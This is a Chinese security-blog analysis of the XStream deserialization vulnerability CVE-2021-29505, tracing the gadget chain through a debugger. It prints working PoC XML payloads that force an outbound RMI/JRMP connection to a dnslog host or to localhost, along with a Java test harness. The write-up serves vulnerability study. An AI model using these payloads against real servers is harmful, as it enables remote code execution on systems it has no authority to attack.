【漏洞分析】XStream反序列化漏洞(CVE-2021-29505)

admin 2021年6月11日19:38:11评论356 views字数 3613阅读12分2秒阅读模式


上方蓝色字体关注我们,一起学安全!
作者:口算md5@Timeline Sec
本文字数:1480
阅读时长:4~5min
声明:请勿用作违法用途,否则后果自负


0x01 漏洞复现

《CVE-2021-29505:XStream反序列化命令执行漏洞复现》


0x02 调试环境准备

因为要在本地调试,没必要再过一遍springboot

索性就直接写代码用Xstream解析poc


创建maven项目,引入XStream


【漏洞分析】XStream反序列化漏洞(CVE-2021-29505)


直接主函数里定义xml调用Xstream解析poc


【漏洞分析】XStream反序列化漏洞(CVE-2021-29505)


import com.thoughtworks.xstream.XStream;
public class Main {
public static void main(String[] args) { String xml ="<sun.rmi.registry.RegistryImpl_Stub serialization="custom"> n" + " <java.rmi.server.RemoteObject> n" + " <string>UnicastRef</string> n" + " <string>127.0.0.1</string> n" + " <int>8001</int> n" + " <long>0</long> n" + " <int>0</int> n" + " <long>0</long> n" + " <short>0</short> n" + " <boolean>false</boolean> n" + " </java.rmi.server.RemoteObject> n" + "</sun.rmi.registry.RegistryImpl_Stub>"; // write your code hereXStream xstream = new XStream();; XStream xstream = new XStream(); xstream.fromXML(xml); }}


然后就可以开始愉快的调试了


0x03 漏洞分析

参考大佬的经验总结,XStream产生漏洞的主要问题就在于:

XStream在处理实现了Serializable接口和没有实现Serializable接口的类生成的对象时,方法是不一样的


当处理此种类型的xml(即实现了Serializable接口的类)时,会调用到该类的readObject方法


【漏洞分析】XStream反序列化漏洞(CVE-2021-29505)


贴上poc:

<java.util.PriorityQueue serialization='custom'>    <unserializable-parents/>    <java.util.PriorityQueue>        <default>            <size>2</size>        </default>        <int>3</int>        <javax.naming.ldap.Rdn_-RdnEntry>            <type>12345</type>            <value class='com.sun.org.apache.xpath.internal.objects.XString'>                <m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content</m__obj>            </value>        </javax.naming.ldap.Rdn_-RdnEntry>        <javax.naming.ldap.Rdn_-RdnEntry>            <type>12345</type>            <value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'>                <message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>                    <parsedMessage>true</parsedMessage>                    <soapVersion>SOAP_11</soapVersion>                    <bodyParts/>                    <sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>                        <attachmentsInitialized>false</attachmentsInitialized>                        <nullIter class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>                            <aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'>                                <candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'>                                    <names>                                        <string>aa</string>                                        <string>aa</string>                                    </names>                                    <ctx>                                        <environment/>                                        <registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'>                                            <java.rmi.server.RemoteObject>                                                <string>UnicastRef</string>                                                <string>75g7ep.dnslog.cn</string>                                                <int>1099</int>                                                <long>0</long>                                                <int>0</int>                                                <long>0</long>                                                <short>0</short>                                                <boolean>false</boolean>                                            </java.rmi.server.RemoteObject>                                        </registry>                                        <host>75g7ep.dnslog.cn</host>                                        <port>1099</port>                                    </ctx>                                </candidates>                            </aliases>                        </nullIter>                    </sm>                </message>            </value>        </javax.naming.ldap.Rdn_-RdnEntry>    </java.util.PriorityQueue></java.util.PriorityQueue>


观察poc,可以看到入口点与CVE-2021-21344、CVE-2021-21345等相同为:java.util.PriorityQueue


经典的CommonCollections利用链中有几个就用到了PriorityQueue。在该类的readObject函数打下断点,调试执行


【漏洞分析】XStream反序列化漏洞(CVE-2021-29505)


通过s.readObject();走到XStram中的readObjectOverride函数


【漏洞分析】XStream反序列化漏洞(CVE-2021-29505)


然后在readFromStream方法中获取javax.naming.ldap.Rdn$RdnEntry()方法


【漏洞分析】XStream反序列化漏洞(CVE-2021-29505)


对应xml中的相应节点


【漏洞分析】XStream反序列化漏洞(CVE-2021-29505)


经过一些调试走过一系列的嵌套调用。来到调用JRMP的关键类sun.rmi.registry.RegistryImpl_Stub


【漏洞分析】XStream反序列化漏洞(CVE-2021-29505)


同样在readObject函数打下断点。因为该类的readObject继承自爷爷类RemoteObject。在这里实例化UnicastRef对象,然后调用UnicastRef对象的readExternal方法



【漏洞分析】XStream反序列化漏洞(CVE-2021-29505)


【漏洞分析】XStream反序列化漏洞(CVE-2021-29505)


最终实际调用的代码如下最终在这里进行远程rmi调用


【漏洞分析】XStream反序列化漏洞(CVE-2021-29505)


至此调试完成


简化版poc:

<sun.rmi.registry.RegistryImpl_Stub serialization="custom">   <java.rmi.server.RemoteObject>     <string>UnicastRef</string>      <string>127.0.0.1</string>      <int>8001</int>      <long>0</long>      <int>0</int>      <long>0</long>      <short>0</short>      <boolean>false</boolean>   </java.rmi.server.RemoteObject> </sun.rmi.registry.RegistryImpl_Stub>


经过调试分析,简化版poc的调用方式就是直入关键类

sun.rmi.registry.RegistryImpl_Stub跳过了一大段的嵌套调用


参考链接:

https://paper.seebug.org/1543/

https://x-stream.github.io/CVE-2021-29505.html

https://mp.weixin.qq.com/s/jWa6SW3PfVsZ5Qzlmx_2EQ



【漏洞分析】XStream反序列化漏洞(CVE-2021-29505)

【漏洞分析】XStream反序列化漏洞(CVE-2021-29505)
阅读原文看更多分析文章
Timeline Sec 团队
安全路上,与你并肩前行





本文始发于微信公众号(Timeline Sec):【漏洞分析】XStream反序列化漏洞(CVE-2021-29505)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年6月11日19:38:11
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【漏洞分析】XStream反序列化漏洞(CVE-2021-29505)https://cn-sec.com/archives/396386.html

发表评论

匿名网友 填写信息